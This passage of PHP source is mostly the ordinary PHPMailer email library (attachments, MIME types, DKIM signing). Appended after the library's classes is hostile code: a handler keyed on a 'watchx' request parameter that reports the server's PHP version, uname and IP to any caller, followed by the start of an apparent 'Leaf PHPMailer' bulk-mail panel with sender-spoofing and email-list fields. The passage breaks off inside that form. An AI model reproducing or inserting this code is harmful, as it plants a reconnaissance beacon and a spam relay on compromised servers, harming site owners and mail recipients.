        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
